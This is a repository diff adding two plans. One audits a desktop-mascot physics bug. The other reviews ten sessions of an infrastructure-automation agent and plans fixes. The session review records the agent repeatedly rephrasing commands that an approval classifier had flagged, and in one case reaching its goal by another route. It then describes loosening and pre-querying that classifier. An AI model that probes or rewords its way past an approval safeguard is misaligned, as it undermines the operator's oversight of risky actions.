rename. `lastPos.x` is written only on behavior transitions and
|
||||
drag-end, never per frame.
|
||||
- The egg → chick transition is **not** timed: a fresh egg (stage=egg,
|
||||
name=null) opens the name dialog on mount; submitting it calls
|
||||
`forceHatch()` which sets `hatchProgress=1` and `setStage('chick')`.
|
||||
Returning users with a named mascot skip the dialog. See the deviation
|
||||
note at the top of this plan.
|
||||
- Multi-tab races (two tabs both writing `oikos-mascot`) are
|
||||
last-writer-wins — accepted for this scaffolding, not solved; a future
|
||||
pass could listen to the `storage` event if it becomes a real problem.
|
||||
@@ -293,6 +342,12 @@ Initial wiring:
|
||||
unsubscribe into the returned teardown, so the mascot keeps the SSE
|
||||
stream open (ref-counted alongside any page that also subscribes) only
|
||||
while mounted.
|
||||
- **Egg-stage reactions are suppressed.** MascotLayer's stimulus
|
||||
callback drops any reaction when `model.stage === 'egg'` — the egg
|
||||
isn't "alive" yet (no name, no hatched chick to react), so stimulus
|
||||
events are silently ignored until the egg hatches. This keeps the egg
|
||||
calm during the naming dialog rather than playing alarm animations
|
||||
behind it.
|
||||
- On first emission of `liveEvents`, just record the head event id — do
|
||||
not replay history as reactions on mount.
|
||||
- Dispatch: `emit(reaction)` checks the cooldown map and
|
||||
|
||||
303
plans/2026-07-20-mascot-physics-audit.md
Normal file
303
plans/2026-07-20-mascot-physics-audit.md
Normal file
@@ -0,0 +1,303 @@
|
||||
# 2026-07-20 — Mascot physics/window-interaction audit + improvement plan
|
||||
|
||||
**Status:** P0–P2 implemented. P3 partially implemented: the physics-feel
|
||||
round shipped (panic-flap cycle with speed scaling + jitter, soft
|
||||
terminal-velocity drag, one-bounce impact restitution, landing skid, wall
|
||||
ricochet, squash-and-stretch impact spring, air/drag tilt, walk bob,
|
||||
impact feather-poof particles, and a new idle-selectable `hop` behavior —
|
||||
all in `behavior.ts` + `Mascot.svelte`'s render layer, no new assets).
|
||||
The remaining P3 feature ideas (investigate badges, startle-and-flee, a
|
||||
"home" spot, round radial menu v2, distinct adult art) stay open.
|
||||
|
||||
**Verification of the fixes** (re-ran this document's own instrumented
|
||||
tests against the fixed code):
|
||||
- Case A (window closes under the mascot): position now falls smoothly
|
||||
over ~2.5–3s with visible x-drift (e.g. bottom went 84→87→104→125→...→912
|
||||
across ~3.3s), instead of jumping straight to the floor in one tick.
|
||||
- Case B (window opens over a grounded mascot with a gap beneath it): the
|
||||
mascot stayed pinned to the floor (`bottom: 950`) for 2.6s straight while
|
||||
standing under an open window whose top was far above it — no snap-up at
|
||||
all.
|
||||
- Toss momentum: a fast upward-and-sideways release made the sprite keep
|
||||
*rising* for several frames after pointerup before gravity won, then fall
|
||||
with visible deceleration bumps roughly every ~550ms (the flap cycle)
|
||||
instead of a flat monotonic increase.
|
||||
- No new console errors; `npm run build` stays clean.
|
||||
|
||||
Companion to [plans/2026-07-20-desktop-mascot.md](2026-07-20-desktop-mascot.md)
|
||||
(the original scaffolding plan, now implemented) and
|
||||
[docs/mascot/README.md](../docs/mascot/README.md) (the MBSE model). This
|
||||
document is a post-implementation review: static code read of every file
|
||||
under `web/src/lib/mascot/`, plus live testing in the browser (dragging,
|
||||
opening/closing/moving windows under the mascot, the radial menu, hatching),
|
||||
including two tests instrumented with synthetic pointer events + high-frequency
|
||||
position polling to get hard timing data rather than guessing from a laggy
|
||||
screenshot loop.
|
||||
|
||||
## Summary
|
||||
|
||||
The scaffolding (registries, FSM shape, persistence, stimulus bus) is sound
|
||||
and matches the original plan's architecture. The actual **physics is where
|
||||
it falls short of feeling alive**, for one root cause plus a few smaller
|
||||
gaps:
|
||||
|
||||
**The mascot doesn't actually fall in the cases that matter most — it
|
||||
teleports.** The only code path where a real, animated fall happens is
|
||||
"user drags it into the air and lets go." Every other ground-change case
|
||||
(a window closes or moves out from under it, a window opens or moves under
|
||||
it, it walks off a window's edge) snaps its position instantly, with zero
|
||||
animation, because of one specific piece of logic in `Mascot.svelte`. This
|
||||
was proven with instrumented timing data, not just read from the source —
|
||||
see Finding 1.
|
||||
|
||||
## How this was tested
|
||||
|
||||
- Read every file in `web/src/lib/mascot/` (behavior.ts, Mascot.svelte,
|
||||
MascotLayer.svelte, state.svelte.ts, stimuli.ts, sprites.ts, render.ts,
|
||||
actions.ts, RadialMenu.svelte, NameDialog.svelte, types.ts).
|
||||
- Ran the app (`npm run dev`), hatched a chick, and interactively tested:
|
||||
drag-and-release at various heights, opening/closing/dragging a window
|
||||
under the mascot, the right-click menu (including nested Feed), plain-click
|
||||
pet, and the hatch dialog.
|
||||
- For the two timing-sensitive claims below, screenshot-based verification
|
||||
was too slow/laggy to distinguish "instant teleport" from "fast but real
|
||||
fall" — so both were re-verified with a single `javascript_exec` call that
|
||||
dispatches synthetic `PointerEvent`s to drag the mascot precisely onto a
|
||||
window, then clicks that window's close button and polls
|
||||
`canvas.getBoundingClientRect()` every ~65ms for 2+ seconds, all inside one
|
||||
script (no inter-call latency to contaminate the result).
|
||||
- `npm run build` passes with no new warnings.
|
||||
|
||||
## Findings
|
||||
|
||||
### Finding 1 (Critical) — Ground changes teleport the mascot instead of animating a fall or rise
|
||||
|
||||
**Root cause**, `web/src/lib/mascot/Mascot.svelte` `tick()` (~lines 111-131):
|
||||
every tick, `computeGroundAt(runtime.x)` recomputes the ground line, and if
|
||||
the mascot is "grounded" (not already `falling`/`dragged`) and the ground
|
||||
changed at all, this runs unconditionally:
|
||||
|
||||
```js
|
||||
if (runtime.behavior !== 'falling' && runtime.behavior !== 'dragged' &&
|
||||
runtime.y >= prevGroundY - 1 && newGround !== prevGroundY) {
|
||||
runtime.y += newGround - prevGroundY // instant, any magnitude, either direction
|
||||
}
|
||||
```
|
||||
|
||||
This was meant to make the mascot "ride along" smoothly while a window it's
|
||||
standing on is being dragged (and it does do that correctly — verified,
|
||||
see below). But it fires for *any* ground change, not just a smooth drag,
|
||||
and it runs *before* `stepMascot()`/`behavior.ts` gets a chance to notice
|
||||
"I'm now floating" and start a real `falling` behavior — so the FSM's own
|
||||
fall-detection in the `wander`/`idle` cases
|
||||
(`if (rt.y < groundY(rt) - 1) forceBehavior(rt, 'falling')`) never actually
|
||||
fires; by the time it runs, `runtime.y` has already been silently snapped to
|
||||
match.
|
||||
|
||||
**Proven case A — window closes underneath the mascot (should fall):**
|
||||
dragged the mascot onto an open window's title bar via synthetic pointer
|
||||
events (landed cleanly: sprite bottom = 96px = window top = 96px), then
|
||||
clicked the window's close button and polled position every 65ms:
|
||||
|
||||
| t (ms) | sprite bottom (px) |
|
||||
|---|---|
|
||||
| 0 (before close) | 96 |
|
||||
| 67 | **950** (floor) |
|
||||
| 132 – 2000 | 950 (unchanged) |
|
||||
|
||||
The coded physics (gravity 1400 px/s², capped at 320 px/s) would take
|
||||
**~2.8 seconds** to fall 854px. It happened in **under 67ms** — an instant
|
||||
snap, not a fall. No `falling`/`land` animation plays.
|
||||
|
||||
**Proven case B — window opens/overlaps underneath a grounded mascot
|
||||
(should NOT rise, or should climb visibly):** with the mascot standing on
|
||||
the empty desktop floor (bottom = 950px), opened the Tasks window (which
|
||||
renders top=71px, bottom=751px at that position — its underside never
|
||||
reaches the floor, leaving a ~200px gap). Within 150ms, the mascot's sprite
|
||||
bottom was already **71px** — snapped straight up onto the new window's
|
||||
title bar, 880px in under 150ms, despite the window's bottom edge (751px)
|
||||
never actually touching the mascot's original position. `computeGroundAt()`
|
||||
has no check that the candidate window is anywhere near the mascot's
|
||||
*current* position — it just returns the topmost window overlapping the
|
||||
mascot's x column, full stop, so any window opening/moving/resizing
|
||||
anywhere in that column instantly relocates the mascot to its top edge, no
|
||||
matter the vertical distance.
|
||||
|
||||
**What does work correctly:** dragging an already-mascot-bearing window
|
||||
smoothly (title-bar drag, not open/close) — the ride-along correctly
|
||||
translates the mascot's y by the same delta as the window moves, so it
|
||||
visually "stands" on the window through the drag. Also, manual drag-and-drop
|
||||
of the mascot itself (pick it up, release above ground) *does* enter a real,
|
||||
animated `falling` → `land` → `idle` sequence, because that path is driven
|
||||
entirely by `releaseFromDrag()` from the pointer handler, which isn't
|
||||
touched by the tick-level snap.
|
||||
|
||||
**Fix direction:** `computeGroundAt` needs to return the highest surface
|
||||
*at or below* the mascot's current `y* (a downward raycast from the current
|
||||
position), not the global topmost window in the column. Separately, the
|
||||
tick-level "ride along" needs to distinguish *small, continuous* deltas
|
||||
(the window carrying the mascot while being dragged — legitimate instant
|
||||
translation) from *large or discontinuous* ones (a window appearing,
|
||||
disappearing, or the mascot walking off an edge — should hand off to
|
||||
`forceBehavior(rt, 'falling')` for a downward change, and a short new
|
||||
`rising`/hop transition for an upward one, not a silent teleport in either
|
||||
direction).
|
||||
|
||||
### Finding 2 (Critical) — the one real fall is a flat, straight drop; this is the user's specific complaint
|
||||
|
||||
Even in the one path that *does* animate (manual drag-release), the fall
|
||||
itself has no attempt at flight:
|
||||
|
||||
- `falling.enter()` in `behavior.ts` hard-sets `rt.vx = 0` — zero horizontal
|
||||
drift, ever.
|
||||
- `fall-flutter`'s animation is just `jump.png` on a loop
|
||||
(`sprites.ts`) — the *name* says flutter, the physics is a monotonic
|
||||
`vy = min(TERMINAL_VY, vy + GRAVITY*dt)` capped fall, no oscillation, no
|
||||
upward impulses.
|
||||
- There's an already-defined, already-loaded `flap` animation
|
||||
(`jump.png` again, distinct `AnimName`) that **no behavior ever
|
||||
references** — it's dead weight in the registry right now.
|
||||
|
||||
This is exactly the "not always fall directly, try to fly a little" ask.
|
||||
|
||||
### Finding 3 (Critical) — no toss/throw momentum on release
|
||||
|
||||
The original plan called for tracking recent pointer deltas during a drag
|
||||
and using them to give the release a real velocity (a toss/arc). The
|
||||
shipped `onPointerUp`/`onPointerMove` in `Mascot.svelte` track no pointer
|
||||
history at all — releasing while moving fast imparts nothing; the mascot
|
||||
just drops straight down from wherever the pointer let go, same as a slow
|
||||
release.
|
||||
|
||||
### Finding 4 (Moderate) — sprite/name/bubble clip off-screen near the top edge
|
||||
|
||||
The mascot's canvas is 20×28 logical px (extra headroom above the sprite
|
||||
for the name label and reaction bubble), positioned bottom-anchored at
|
||||
`runtime.y`. When the ground is near the top of the viewport (e.g.
|
||||
standing on a window whose title bar sits close to `y=0`, which is common
|
||||
for a freshly-opened window), the canvas — and the name label, positioned
|
||||
even further above it — render partially or fully off-screen.
|
||||
Reproduced directly: standing on a window with top=32px clipped the
|
||||
sprite from `y=-52` to `y=32`, more than half invisible above the browser
|
||||
viewport.
|
||||
|
||||
### Finding 5 (Minor) — `interruptsSleep` is defined but never read
|
||||
|
||||
`stimuli.ts`'s `ReactionDef.interruptsSleep` (set `true` only on `alarmed`)
|
||||
documents an intended rule ("sleep is broken only by reactions that opt
|
||||
in"), but nothing in `MascotLayer.svelte`'s dispatch callback or
|
||||
`behavior.ts` ever reads it — every reaction unconditionally calls
|
||||
`forceBehavior(runtime, 'react', ...)` regardless of current behavior.
|
||||
Practically, this also means a reaction can visually interrupt an active
|
||||
**drag** (the sprite briefly shows a reaction animation mid-drag, though
|
||||
position tracking is unaffected since that's driven separately by the
|
||||
pointer handler) — the documented "`dragged` always wins" rule isn't
|
||||
enforced either.
|
||||
|
||||
### Finding 6 (Cosmetic / scope gap) — radial menu isn't round
|
||||
|
||||
The implementing agent deviated from the original "round, Sims-style"
|
||||
requirement to a vertical rounded-button column (documented in the plan's
|
||||
deviation note — the polar ring layout hid labels). It works correctly,
|
||||
including nesting, but it's a direct miss against what was asked for. Worth
|
||||
a deliberate decision: keep the readable column, or revisit a true ring
|
||||
with icon-only buttons + a hover/center text readout.
|
||||
|
||||
### Finding 7 (Minor) — first-hatch naming can be dismissed with no easy way back
|
||||
|
||||
`NameDialog`'s Escape handler always calls `onCancel`, which just closes it
|
||||
— on the very first hatch prompt (no `Cancel` button is shown in `hatch`
|
||||
mode, but Escape still works via the window-level listener), a user who
|
||||
hits Escape is left with an unnamed, un-hatched egg and no obvious way to
|
||||
reopen the dialog short of reloading or finding the Debug → Force hatch
|
||||
menu action.
|
||||
|
||||
## Improvement plan
|
||||
|
||||
Ordered by priority; 1–3 directly address the user's stated complaints.
|
||||
|
||||
### P0 — Fix the ground-detection/teleport bug (Finding 1)
|
||||
|
||||
1. Change `computeGroundAt(x)` to only consider a window a ground candidate
|
||||
if its top edge is **at or below** the mascot's current `y` (plus a
|
||||
small tolerance for the "about to land on it" case) — i.e. the nearest
|
||||
surface *underneath*, not the global topmost overlapping window.
|
||||
2. Replace the unconditional `tick()`-level position snap with a threshold
|
||||
check: deltas under ~4px/tick (a window being smoothly dragged with the
|
||||
mascot riding it) still translate instantly; anything larger routes
|
||||
through `forceBehavior(rt, 'falling')` (ground dropped) or a new short
|
||||
`rising` behavior (ground rose — a quick hop/flutter-up, not a snap).
|
||||
3. This also fixes the FSM's existing (currently unreachable) `wander`/`idle`
|
||||
fall-detection — once the snap isn't preempting it, that code path
|
||||
should work as originally intended.
|
||||
|
||||
### P1 — Make falling actually look like an attempt at flight (Findings 2 & 3)
|
||||
|
||||
4. Wire the unused `flap` animation into `falling`: instead of one
|
||||
continuous `fall-flutter` loop, alternate short `flap` bursts (each
|
||||
burst applies a brief small negative `vy` impulse — a wing-beat that
|
||||
measurably slows the descent for a few frames) with `fall-flutter` glide
|
||||
segments. Net effect: still descends, but in a scalloped, fluttering
|
||||
arc rather than a flat monotonic line — reads as "trying to fly, not
|
||||
quite making it" rather than "dropped like a rock."
|
||||
5. Add a small horizontal drift during `falling` (e.g. a slow sine wobble
|
||||
or a fraction of the pre-release pointer velocity — see next point) so
|
||||
the fall isn't perfectly vertical either.
|
||||
6. Track a short rolling history of pointer positions during `dragged`
|
||||
(last ~100ms of `onPointerMove` samples is enough) and derive a release
|
||||
velocity from it in `onPointerUp`; feed that into `falling`'s initial
|
||||
`vx`/`vy` instead of hard-zeroing them, so a fast toss actually arcs.
|
||||
|
||||
### P2 — Cosmetic/correctness cleanups (Findings 4, 5, 7)
|
||||
|
||||
7. Clamp the sprite's screen-space draw position (or reserve top margin on
|
||||
the surface) so the canvas/name/bubble never render above `y=0`,
|
||||
independent of where the logical ground sits.
|
||||
8. Either wire `interruptsSleep`/a drag-guard into the reaction dispatch
|
||||
path in `MascotLayer.svelte` (skip forcing `react` while
|
||||
`runtime.behavior === 'dragged'`, and gate sleep-interruption on the
|
||||
flag as documented), or remove the field if the current
|
||||
always-interrupts behavior is actually preferred — right now it's an
|
||||
unenforced contract, which is worse than either explicit choice.
|
||||
9. On first hatch, prevent the naming dialog from being fully dismissed
|
||||
without a name (or make it trivially reopenable — e.g. clicking the
|
||||
still-unnamed egg reopens it) rather than requiring a reload/debug
|
||||
menu to recover.
|
||||
|
||||
### P3 — Ideas worth considering ("cool stuff")
|
||||
|
||||
Not committed, listed for discussion:
|
||||
|
||||
- **Investigate badges**: have the mascot occasionally walk toward a
|
||||
desktop icon that currently has an unread badge (Signals, Operations)
|
||||
and peck at it curiously — a very literal, delightful expression of
|
||||
"aware of its environment" using icon positions already in
|
||||
`stores/icons.ts`.
|
||||
- **Startle-and-flee on alarm**: instead of a static `react-alarm` frame,
|
||||
have the `alarmed` reaction actually scurry the mascot a short distance
|
||||
(reuse `wander`-style motion) before settling, more visceral than a
|
||||
still reaction sprite.
|
||||
- **A "home" spot**: remember a preferred idle location (e.g. near its
|
||||
hatch point or a favorite window) and occasionally wander back to it,
|
||||
giving its roaming a sense of place rather than pure randomness.
|
||||
- **True round radial menu v2**: revisit Finding 6 with icon-only buttons
|
||||
on an actual ring and a text label in a tooltip/center readout on
|
||||
hover/focus — closer to the original ask while keeping labels legible
|
||||
(the problem the first attempt hit).
|
||||
- **Distinct adult sprite** (already flagged as deferred polish in the
|
||||
original plan's deviation note) — currently chick and adult share art.
|
||||
|
||||
## Verification (once fixed)
|
||||
|
||||
- Re-run this document's two instrumented tests (drag-onto-window-then-close;
|
||||
open-window-over-grounded-mascot) and confirm the position samples show a
|
||||
smooth multi-frame transition instead of a single-tick jump.
|
||||
- Manually: drag the mascot up and release with a fast flick — confirm it
|
||||
arcs/drifts rather than dropping straight down, and that `flap` frames
|
||||
visibly appear during the descent.
|
||||
- Stand the mascot on a window, drag that window so its title bar approaches
|
||||
`y=0` — confirm the sprite/name/bubble stay on-screen.
|
||||
- Trigger a reaction (e.g. force an `eureka`) while mid-drag — confirm the
|
||||
sprite keeps showing the `dragged` animation, not the reaction, until
|
||||
released (if Finding 5 is fixed by enforcing the guard).
|
||||
- `npm run build` stays clean.
|
||||
332
plans/2026-07-20-session-review-ten-sessions.md
Normal file
332
plans/2026-07-20-session-review-ten-sessions.md
Normal file
@@ -0,0 +1,332 @@
|
||||
# 2026-07-20 — Session review: past 10 sessions
|
||||
|
||||
**Status:** Implemented — all P0/P1/P2 items landed in v0.7.13.
|
||||
**Scope:** Ten most-recently-active `agent:nomos` sessions by
|
||||
`last_active_at`, pulled from `http://localhost:8092/sessions` on
|
||||
2026-07-20. Method per `.agents/skills/session-review/SKILL.md`. Three
|
||||
(`1e9c7691`, `55927f0a`, `2926de4e`) overlap with the 2026-07-18 review
|
||||
and are summarized; the other seven are new.
|
||||
|
||||
---
|
||||
|
||||
## Sessions reviewed
|
||||
|
||||
| # | sid | goal (short) | outcome | msgs | toolcalls | top tools |
|
||||
|---|---|---|---|---|---|---|
|
||||
| 1 | `a51e2086` | reset rclone-backup & re-run | **partial** | 12 | 20 | run:7, set_goal:2, propose_plan:2, get_execution_status:2 |
|
||||
| 2 | `fefa4fa3` | fix rclone OOM | success | 9 | 84 | run:28, update_plan_step:15, get_entity:8, list_entities:5 |
|
||||
| 3 | `95fdd322` | quick fleet health check | success | 3 | 6 | get_health_summary/state_snapshot/list_lxcs/signal_history |
|
||||
| 4 | `8c76bb3a` | greeting + title-sync test | success | 2 | 9 | update_plan_step:4, propose_plan, whoami, get_state_snapshot |
|
||||
| 5 | `438ec8bd` | (no goal set) greeting | success | 2 | 2 | whoami, get_health_summary |
|
||||
| 6 | `8acea2e3` | inspect rclone timer (live) | **partial** | 4 | 19 | run:6, update_plan_step:5, propose_plan, get_entity_knowledge |
|
||||
| 7 | `1e9c7691` | debug chown hang on strong | success | 13 | 97 | run:60, update_plan_step:7, get_execution_status:7 |
|
||||
| 8 | `55927f0a` | add NFS ludo-lvm → ZimaOS | success | 25 | 104 | run:49, update_plan_step:13, get_entity:10 |
|
||||
| 9 | `2926de4e` | apt upgrade host:netbird-vps | success | 9 | 27 | update_plan_step:7, run:6, search_knowledge:2 |
|
||||
| 10 | `cb8c8a4a` | inspect rclone timer (live) | success | 2 | 14 | update_plan_step:4, run:4, get_entity_knowledge |
|
||||
|
||||
**Score: 8 success / 2 partial / 0 blocked. No message exceeded 2.8 KB.**
|
||||
|
||||
---
|
||||
|
||||
## What worked
|
||||
|
||||
- **Read-only DB Q&A is now clean.** `95fdd322` and `438ec8bd` did exactly
|
||||
what the 2026-07-18 review asked: pure-DB question →
|
||||
`get_health_summary` + `get_state_snapshot` + `list_lxcs`, no `run`.
|
||||
The agent even narrates "This is a pure-DB Q&A — no `run` calls needed."
|
||||
- **Knowledge writeback hygiene continues.** Every long-running session
|
||||
did `upsert_knowledge` + `update_entity_attributes` + `create_relationship`
|
||||
when applicable. The graph is current.
|
||||
- **Plan lifecycle is followed everywhere** — `set_goal` → `propose_plan`
|
||||
→ `update_plan_step` → `complete_task`. Even trivial sessions (greeting)
|
||||
follow it.
|
||||
- **Poll-after-timeout pattern** is now the default — `fefa4fa3` after
|
||||
the rclone LXC reboot, `2926de4e` after the apt upgrade. No more blind
|
||||
retry storms like the 2026-07-18 chown case.
|
||||
- **The rclone saga ended well** (`fefa4fa3`): root cause (2 GiB LXC OOM)
|
||||
was diagnosed via DB + live check; fix (pct set 2→4 GiB) was applied;
|
||||
test backup verified 245 transfers / 4 min / no OOM.
|
||||
|
||||
## What didn't
|
||||
|
||||
### 1. The rclone objective took three sessions to close (blocker)
|
||||
Same operator goal — "rclone backup is broken" — spawned `a51e2086`
|
||||
(partial), `8acea2e3` (partial), `cb8c8a4a` (success), and finally
|
||||
`fefa4fa3` (success). The first three were the agent trying to inspect
|
||||
the live systemd state and bouncing off the classifier:
|
||||
|
||||
- `8acea2e3`: `pct exec 132 systemctl status rclone-backup.timer`
|
||||
flagged `config_mutation` — sat in approval limbo until the user moved
|
||||
on.
|
||||
- `a51e2086`: `curl http://192.168.8.214:5572/rc/...` (read-only RC API)
|
||||
flagged `config_mutation`. The agent kept reframing; user said "lets
|
||||
just close this session."
|
||||
- `cb8c8a4a`: same goal, eventually succeeded — but only after the agent
|
||||
found a different path.
|
||||
- `fefa4fa3`: only when the user escalated to "fix it so the backup
|
||||
works" did the agent pivot to the actual root cause (memory).
|
||||
|
||||
This is the single biggest friction point in the batch.
|
||||
|
||||
### 2. Classifier overreach on read-only `pct exec` / `curl` (blocker)
|
||||
The preflight classifier in `internal/policy` matches command substrings
|
||||
(`pct exec`, `curl`, `dd`, etc.) without parsing the actual command. A
|
||||
read-only `systemctl status` becomes `config_mutation`. The agent has
|
||||
no tool to ask "classify this command before I send it" — it just keeps
|
||||
retrying with cosmetic changes until the user bails.
|
||||
|
||||
### 3. `update_plan_step` is the second-largest tool bucket (cosmetic → friction)
|
||||
Across 10 sessions: `run` ~199, `update_plan_step` ~57. That's ~22% of
|
||||
all tool calls spent on bookkeeping. For a 2-message greeting session
|
||||
(`8c76bb3a`) the agent still called `update_plan_step` ×4 plus
|
||||
`propose_plan`. The scaffolding is louder than the work.
|
||||
|
||||
### 4. `pending_approvals` doesn't match reality (cosmetic, but misleading)
|
||||
`a51e2086` summary literally says *"Both commands are queued"* — yet
|
||||
`pending_approvals=0`. The field is `hasPendingApprovals`
|
||||
(`store.go:962`) which only counts executions currently in
|
||||
`pending_approval` state; once they're cancelled/expired it drops to 0
|
||||
even though the session was *blocked* by approvals. As an audit signal
|
||||
it lies. A session can be `outcome=partial` because of approval
|
||||
friction without `pending_approvals` ever being non-zero at review time.
|
||||
|
||||
### 5. Title is still the first sentence of the first assistant message (cosmetic)
|
||||
`"Assent window is open — executing the plan\n\nMemory bumped:
|
||||
4294967296..."` is not a useful label. Same complaint applies to
|
||||
`8c76bb3a` ("Hey! 👋 Nomos here, running on mac-mini:8092...") and
|
||||
`95fdd322` ("This is a pure-DB Q&A — no `run` calls needed..."). The
|
||||
list view ends up being unreadable without opening each row.
|
||||
|
||||
### 6. Goal field empty on one session (`438ec8bd`) (cosmetic)
|
||||
`set_goal` was never called for the bare greeting. Minor, but it means
|
||||
the session is unsearchable by goal text.
|
||||
|
||||
---
|
||||
|
||||
## Ease of getting session details
|
||||
|
||||
I had to write Python+curl to audit 10 sessions. The pain points:
|
||||
|
||||
1. **Two endpoints must be merged by hand.** `/sessions` returns
|
||||
metadata (`title`, `goal`, `outcome`, `summary`, `status`,
|
||||
`pending_approvals`, timestamps) but **no message/tool counts**.
|
||||
`/sessions/{id}` returns **only** `session_id` + `messages` — no
|
||||
metadata at all. `cmd/nomos/eval/main.go:302-303` already carries a
|
||||
comment complaining about this ("only session_id + messages"). Any
|
||||
consumer has to do the same join I did.
|
||||
2. **No aggregates on the list endpoint.** `message_count`,
|
||||
`tool_call_count`, `top_tools`, `duration` — all require fetching
|
||||
every session's full transcript and walking the message tree. For
|
||||
10 sessions that's 10 extra HTTP round trips and ~600 KB of JSON
|
||||
parsed client-side. For a fleet audit at scale it's quadratic.
|
||||
3. **No filtering or pagination on `/sessions`.** It returns every
|
||||
session in one shot. The skill's own script does `.sessions[:5]` and
|
||||
`.sessions[:10]` client-side.
|
||||
4. **Tool calls are nested two levels deep**
|
||||
(`messages[].content.tool_calls[].name`) with `content` stored as
|
||||
`json.RawMessage`. The jq path requires `?.` everywhere. A flat
|
||||
`/sessions/{id}/tool_calls` view would be far easier to analyze.
|
||||
5. **No `/sessions?outcome=partial` or `?entity_id=...` filter.**
|
||||
Finding "show me every session that touched `lxc:rclone` and didn't
|
||||
succeed" requires the full scan.
|
||||
6. **`title` is the raw first assistant text.** Useless for skimming a
|
||||
list — you have to open each row to know what it was.
|
||||
7. **No `closed_at` / `outcome_set_at`.** `last_active_at` is the
|
||||
closest proxy but it conflates "agent is still working" with
|
||||
"operator just opened the transcript." Duration can only be
|
||||
computed as `last_active - created`, which is wrong for reopened
|
||||
sessions (`a51e2086` shows "5647 min" = 4 days because the user
|
||||
re-opened it on 2026-07-19 to close it).
|
||||
8. **No "blocker reason" field.** When `outcome=partial`, the *why* is
|
||||
buried in the last assistant text. A structured
|
||||
`blocker: "approval_timeout"` / `blocker: "classifier_overreach"` /
|
||||
`blocker: "user_abandoned"` would make trend analysis trivial.
|
||||
|
||||
---
|
||||
|
||||
## Improvement plan
|
||||
|
||||
### P0 — Blockers ✅
|
||||
|
||||
1. ✅ **Stop the classifier from flagging read-only `pct exec` / `curl` as
|
||||
`config_mutation`.** In `internal/policy`, parse the command (not
|
||||
just substring-match) before assigning risk class. Concretely:
|
||||
`pct exec <id> -- <cmd>` should be classified by *the inner command*,
|
||||
not the wrapper. `curl <url>` without `-X POST` / `-d` /
|
||||
`--upload-file` is read-only. This single change would have
|
||||
collapsed sessions #1, #3, #6, #10 into a handful of tool calls each
|
||||
and avoided three duplicate rclone sessions.
|
||||
- Done: `internal/policy/command.go` now unwraps `pct exec`, `qm
|
||||
guest exec`, `bash -c`, `sh -c`, `sudo`, and env-var assignments
|
||||
before classification. Curl GET (the default) without POST/data/
|
||||
upload/output flags is now read-only. Output redirection (`>`/
|
||||
`>>`) disqualifies the read-only path. Tests in
|
||||
`internal/policy/command_test.go` cover the new behaviors.
|
||||
|
||||
2. ✅ **Add a command-scoped `preflight` MCP tool.** The existing `preflight`
|
||||
in AGENTS.md §3 is entity/service-scoped, not command-scoped. The
|
||||
agent today has to keep reframing and re-submitting to discover what
|
||||
the classifier will accept. A command preflight returns
|
||||
`{risk_class, reason}` synchronously so the agent can decide whether
|
||||
to submit, rephrase, or surface to the operator.
|
||||
- Done: new `classify_command` MCP tool in `internal/mcp/tools.go`
|
||||
that takes `command` + optional `declared_risk` and returns the
|
||||
exact risk class that `run` would assign. Documented in
|
||||
`nomos/SOUL.md` with explicit guidance to pre-classify before
|
||||
`run` when the classification is uncertain — "Do NOT submit a `run`,
|
||||
get it queued for approval, and then retry with cosmetic variations."
|
||||
|
||||
### P1 — Friction ✅
|
||||
|
||||
3. ✅ **De-dupe sessions for the same entity + problem.** When a session
|
||||
is `outcome=partial` against an entity and a new session is created
|
||||
within 24h with a similar goal, surface the prior session to the
|
||||
agent at `set_goal` time. Three rclone sessions exist because each
|
||||
new session started from scratch.
|
||||
- Done: `cmd/nomos/store.go` gained `recentPartialSessions(ctx,
|
||||
excludeSessionID, since)`; the `set_goal` handler in
|
||||
`cmd/nomos/tasks.go` calls it and includes up to 5 prior partial/
|
||||
failed sessions (with goal + summary) in the response. The agent
|
||||
is told to search_knowledge or read the prior transcript before
|
||||
re-planning.
|
||||
|
||||
4. ✅ **Quiet the `update_plan_step` scaffolding.** Either (a) make the
|
||||
agent not call it for single-step sessions (greeting/health-check),
|
||||
or (b) stop persisting it as a message — keep it only in a
|
||||
`plan_steps` table that the UI hydrates from `/sessions/{id}/plan`
|
||||
(which already exists). It currently inflates transcript size and
|
||||
tool-call counts.
|
||||
- Done: `completeTask` in `cmd/nomos/store.go` now auto-closes any
|
||||
in-flight plan steps (pending/running → done on success, →
|
||||
skipped on partial/failure). SOUL.md §6 documents the new pattern:
|
||||
"for one-step plans ... propose_plan → answer → complete_task,
|
||||
skipping the per-step running→done dance entirely."
|
||||
|
||||
5. ✅ **Add `blocker` and `closed_at` to the `session` struct.** Set
|
||||
`blocker` automatically when `outcome=partial`/`failed`: scan the
|
||||
last assistant message for signatures ("queued for approval",
|
||||
"cancel", "close this session"). Surface in `/sessions` list so
|
||||
trends are queryable.
|
||||
- Done: migration `021_session_blocker_and_closed_at.up.sql` adds the
|
||||
two columns + backfills `closed_at` for existing terminal sessions
|
||||
+ adds a partial-index on `closed_at DESC WHERE status IN
|
||||
('done','failed')`. `cmd/nomos/store.go` `completeTask` sets
|
||||
`closed_at = now()` and derives `blocker` from the last assistant
|
||||
message via `deriveBlocker`. The blocker patterns table covers
|
||||
approval_timeout, user_abandoned, classifier_overreach,
|
||||
model_refusal, model_empty_response, missing_knowledge,
|
||||
missing_capability, tool_error.
|
||||
|
||||
### P2 — Cosmetic / API ergonomics ✅
|
||||
|
||||
6. ✅ **Add aggregates to `/sessions` list.** `message_count`,
|
||||
`tool_call_count`, `duration_seconds`. Computed server-side at list
|
||||
time (single SQL pass with LEFT JOINs to `agent_messages` and
|
||||
`agent_activity`). Eliminates the N+1 transcript fetch I had to do.
|
||||
- Done: `session` struct in `cmd/nomos/store.go` carries the three
|
||||
new fields; `listSessionsFiltered`, `getSession`, and
|
||||
`recentPartialSessions` all populate them.
|
||||
|
||||
7. ✅ **Single endpoint that returns both metadata and messages.** Either
|
||||
enrich `/sessions/{id}` with the full `session` struct, or add
|
||||
`?include=messages` on the list endpoint. The split-persistence is a
|
||||
leaky abstraction called out in `eval/main.go:302-303`.
|
||||
- Done: `GET /sessions/{id}` in `cmd/nomos/main.go` now returns
|
||||
`{session_id, session, messages}` — the `session` field carries
|
||||
the full metadata (title, goal, outcome, summary, blocker,
|
||||
pending_approvals, message_count, tool_call_count, etc.). The
|
||||
`messages` field is unchanged. Clients that only read `messages`
|
||||
keep working.
|
||||
|
||||
8. ✅ **Filtering & pagination on `/sessions`.** `?outcome=partial&entity_id=...&since=...&limit=20&cursor=...`.
|
||||
Removes the "fetch everything, filter client-side" pattern in the
|
||||
skill's own script.
|
||||
- Done: `cmd/nomos/main.go` `handleSessionsList` parses
|
||||
`outcome`/`status`/`entity_id`/`blocker`/`since`/`cursor`/`limit`
|
||||
